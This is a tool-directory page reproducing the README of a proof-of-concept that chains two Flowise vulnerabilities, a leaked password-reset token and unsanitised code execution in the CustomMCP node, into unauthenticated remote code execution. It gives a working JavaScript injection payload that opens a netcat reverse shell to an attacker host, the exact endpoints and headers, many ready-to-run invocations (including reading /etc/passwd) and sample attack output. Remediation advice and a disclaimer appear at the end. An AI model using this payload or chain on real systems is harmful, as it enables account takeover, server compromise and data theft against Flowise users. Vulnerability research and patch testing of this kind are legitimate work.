Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-58434-AND-59528-POC — Modular PoC for CVE-2025-58434 (account takeover) and CVE-2025-59528 (RCE) in Flowise. Automates the full attack chain from unauthenticated token leak to remote code execution via reverse shell or custom command. | Kitploit
Tools/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationRemote Access ToolPayload Development
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

Modular PoC for CVE-2025-58434 (account takeover) and CVE-2025-59528 (RCE) in Flowise. Automates the full attack chain from unauthenticated token leak to remote code execution via reverse shell or custom command.

View Repository
1925 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ For educational and authorized security research only.
Running this tool against systems you do not own or lack written permission to test is illegal.


Table of Contents

  • Overview
  • Vulnerability Details
    • CVE-2025-58434 — Account Takeover
    • CVE-2025-59528 — Remote Code Execution
  • Full Attack Chain
  • Affected Versions
  • Repository Structure
  • Requirements
  • Installation
  • Usage
    • Default Behaviour
    • Help Screen
    • Chain Mode
    • Module — ATO
    • Module — Login
    • Module — RCE
  • Flag Reference
  • Reverse Shell vs Custom Command
  • Example Output
  • Remediation
  • Disclosure Timeline
  • References
  • Disclaimer

  • Overview

    This repository combines two critical vulnerabilities in Flowise into a single, modular PoC tool.

    CVE-2025-58434CVE-2025-59528
    TypeAccount TakeoverRemote Code Execution
    Auth RequiredNoneYes (any valid account)
    CVSS9.8 CriticalCritical
    AffectedCloud + Self-hostedSelf-hosted

    The two vulnerabilities chain naturally: CVE-2025-58434 provides unauthenticated account takeover, which satisfies the authentication requirement for CVE-2025-59528 — achieving unauthenticated RCE in a single automated run.


    Vulnerability Details

    CVE-2025-58434 — Account Takeover

    Root Cause: The forgot-password endpoint returns the password reset token (tempToken) directly in the HTTP response body instead of sending it only via email.

    Attack Steps:

    1. POST /api/v1/account/forgot-password with any registered email
    2. Read tempToken from the JSON response — no email access needed
    3. POST /api/v1/account/reset-password with the leaked token → set a new password
    4. Log in as the victim

    Leaked response (trimmed):

    root@kitploit:~
    {
      "user": {
        "email": "[email protected]",
        "tempToken": "LEAKED_TOKEN_HERE",
        "tokenExpiry": "2025-08-19T13:00:33.834Z",
        "status": "active"
      }
    }
    

    CVE-2025-59528 — Remote Code Execution

    Root Cause: The CustomMCP node passes user-supplied mcpServerConfig directly to JavaScript's Function() constructor with no sanitization. Since Flowise runs in Node.js, injected code has full access to child_process, fs, and all Node.js built-ins.

    Vulnerable code path:

    root@kitploit:~
    POST /api/v1/node-load-method/customMCP
      -> convertToValidJSONString()
        -> Function('return ' + mcpServerConfig)()   ← unsanitized user input
    

    Required headers:

    root@kitploit:~
    Content-Type:   application/json
    x-request-from: internal
    Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
    

    Default injection payload (reverse shell):

    root@kitploit:~
    {
      "loadMethod": "listActions",
      "inputs": {
        "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
      }
    }
    

    Note: Reverse shell payloads use cp.exec() (async / fire-and-forget) so the HTTP request returns immediately and the tool doesn't time out. Regular commands use cp.execSync() and return output inline.


    Full Attack Chain

    root@kitploit:~
    Attacker                              Flowise API
       │                                      │
       │  [CVE-2025-58434]                    │
       │  POST /forgot-password {email}       │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 { tempToken: "abc..." }         │  ← token leaked in response
       │                                      │
       │  POST /reset-password                │
       │  {email, tempToken, newPassword}     │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 OK (tempToken cleared)          │  ← ATO complete
       │                                      │
       │  [CVE-2025-59528]                    │
       │  POST /auth/login {email, newPass}   │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  200 OK + Set-Cookie: token=...      │  ← cookies extracted
       │                                      │
       │  POST /node-load-method/customMCP    │
       │  {mcpServerConfig: <js-revshell>}    │
       │─────────────────────────────────────►│
       │                              [exec() fires in background]
       │◄─────────────────────────────────────│
       │  200 {"shell_fired"}                 │
       │                                      │
       Attacker's nc listener ←─────────────── Server connects back
       ✓  Full RCE from zero credentials
    

    Affected Versions

    ComponentStatus
    Flowise Cloud (cloud.flowiseai.com)Affected by CVE-2025-58434
    Flowise self-hosted (all versions prior to patch)Affected by both CVEs

    Check the official Flowise security advisories for patched release numbers.


    Repository Structure

    root@kitploit:~
    flowise-dual-cve-poc/
    ├── flowise_poc.py      # Main PoC — all modules + chain mode
    ├── requirements.txt    # Python dependencies
    ├── README.md           # This file
    └── DISCLAIMER.md       # Full legal notice
    

    Requirements

    • Python 3.7+
    • requests library

    Installation

    root@kitploit:~
    git clone https://github.com/yourhandle/flowise-dual-cve-poc
    cd flowise-dual-cve-poc
    pip install -r requirements.txt
    

    Usage

    Default Behaviour

    No mode flag is required. If you run the script without --chain or --module, it automatically runs in full chain mode. The default RCE payload is a reverse shell — just supply --lhost and --lport.

    root@kitploit:~
    # Minimal invocation — full chain + reverse shell
    python3 flowise_poc.py \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 \
      --lport 4444
    

    Start your listener before running:

    root@kitploit:~
    nc -lvnp 4444
    

    Help Screen

    root@kitploit:~
    python3 flowise_poc.py -h
    

    Chain Mode

    Runs all four steps end-to-end: leak token → reset password → login → RCE.

    root@kitploit:~
    # Reverse shell (default payload)
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 --lport 4444
    
    # Custom command instead of reverse shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -c "cat /etc/passwd"
    
    # Custom ATO password + reverse shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "MyCustomPass1!" \
      --lhost 10.10.16.35 --lport 9001
    

    Module — ATO

    Leak the tempToken and reset the account password. Stops before login/RCE.

    root@kitploit:~
    # Default new password
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected]
    
    # Custom new password
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "NewPassword2025!"
    
    # Print raw JSON response
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] --json-output
    

    Module — Login

    Authenticate and extract the three session cookies for manual use.

    root@kitploit:~
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123"
    
    # JSON output for scripting
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123" --json-output
    

    Module — RCE

    Execute on the server. Auto-logins if --token is not given.

    root@kitploit:~
    # Reverse shell — auto-login
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      --lhost 10.10.16.35 --lport 4444
    
    # Custom command — auto-login
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      -c "id"
    
    # Manual token — reverse shell
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
      --lhost 10.10.16.35 --lport 4444
    
    # All three cookies manually
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGci..." \
      --refresh-token "eyJhbGci..." \
      --connect-sid "s%3A4rey2nuk..." \
      -c "ls /root"
    

    Flag Reference

    Mode (all optional — default is --chain)

    FlagDescription
    --chainFull chain: ATO → Login → RCE
    --module atoAccount takeover only
    --module loginLogin and extract cookies only
    --module rceRCE only

    Target

    FlagShortDescriptionRequired
    --url-uBase URL of Flowise instanceAlways
    --email-eTarget / login emailAlways

    ATO Options

    FlagShortDescriptionDefault
    --new-password-pPassword set on victim account after ATOFlowise@Pwn3d2025!

    Auth Options

    FlagShortDescription
    --login-password-PPassword for login module / RCE auto-login
    --token—Manually supply token cookie (skips login)
    --refresh-token—Manually supply refreshToken cookie
    --connect-sid—Manually supply connect.sid cookie

    RCE Options

    FlagShortDescriptionDefault
    --lhost—Attacker IP for reverse shell—
    --lport—Attacker port for reverse shell—
    --command-cCustom OS command (overrides revshell)id if no lhost/lport

    Misc

    FlagShortDescriptionDefault
    --timeout-tHTTP timeout (seconds)15
    --json-output-jPrint raw JSON responsesfalse

    Reverse Shell vs Custom Command

    The script automatically picks the right execution mode:

    ScenarioPayload usedHTTP behaviour
    --lhost + --lport (no -c)mkfifo netcat one-linercp.exec() — async, returns immediately
    -c "..." containing nc/mkfifo/bash -idetected as revshellcp.exec() — async, returns immediately
    -c "id" or any other normal commanduser commandcp.execSync() — blocks, returns output
    no -c, no --lhostidcp.execSync() — blocks, returns output

    Async execution means the HTTP request completes instantly — no timeout errors on reverse shell payloads.


    Example Output

    root@kitploit:~
      [Step 1] [CVE-2025-58434] Requesting forgot-password token ...
      [*] HTTP 201
      ────────────────────────────────────────────────────────────────────
        LEAKED ACCOUNT DATA
      ────────────────────────────────────────────────────────────────────
      tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
      tokenExpiry   : 2026-04-13T05:14:17.621Z
      ────────────────────────────────────────────────────────────────────
      [+] VULNERABLE — token disclosed without authentication!
    
      [Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
      [*] HTTP 201
      [+] Password reset SUCCESSFUL (tempToken cleared)
      [+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!
    
      [Step 3] [Auth] Logging in to extract session cookies ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        EXTRACTED SESSION COOKIES
      ────────────────────────────────────────────────────────────────────
      token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
      ────────────────────────────────────────────────────────────────────
    
      [Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        RCE RESULT
      ────────────────────────────────────────────────────────────────────
      Mode    : Reverse Shell
      LHOST   : 10.10.16.35
      LPORT   : 4444
      [+] Reverse shell payload fired!
      [!] Waiting for connection on 10.10.16.35:4444 ...
      [!] Make sure your listener is running: nc -lvnp 4444
      ────────────────────────────────────────────────────────────────────
      [+] CHAIN COMPLETE
    

    Remediation

    For CVE-2025-58434

    • Never return tokens in API responses. Send the tempToken only via registered email.
    • Return a generic success message regardless of whether the email exists (prevents enumeration).
    • Make tokens single-use, short-lived (≤15 min), and tied to request context.
    • Rate-limit the forgot-password endpoint.

    For CVE-2025-59528

    • Never pass user input to Function(), eval(), or vm.runInThisContext().
    • Parse mcpServerConfig as data only (e.g., JSON.parse()) — never execute it.
    • If dynamic evaluation is required, use an isolated sandbox with a restricted context.
    • Apply strict input validation and an allowlist of permitted configuration keys.

    General

    • Patch both cloud and self-hosted deployments.
    • Enable logging and alerting on password reset and node-load-method endpoints.
    • Consider MFA for all admin accounts.

    Disclosure Timeline

    DateEvent
    2025-08-19CVE-2025-58434 discovered and reported
    TBDCVE-2025-59528 discovered and reported
    TBDVendor acknowledgement
    TBDPatch released
    TBDPublic disclosure

    References

    • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
    • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
    • Flowise GitHub
    • CWE-640: Weak Password Recovery Mechanism
    • CWE-94: Improper Control of Code Generation

    Disclaimer

    For educational purposes and authorized penetration testing only.
    See DISCLAIMER.md for the full legal notice.

    Download Tool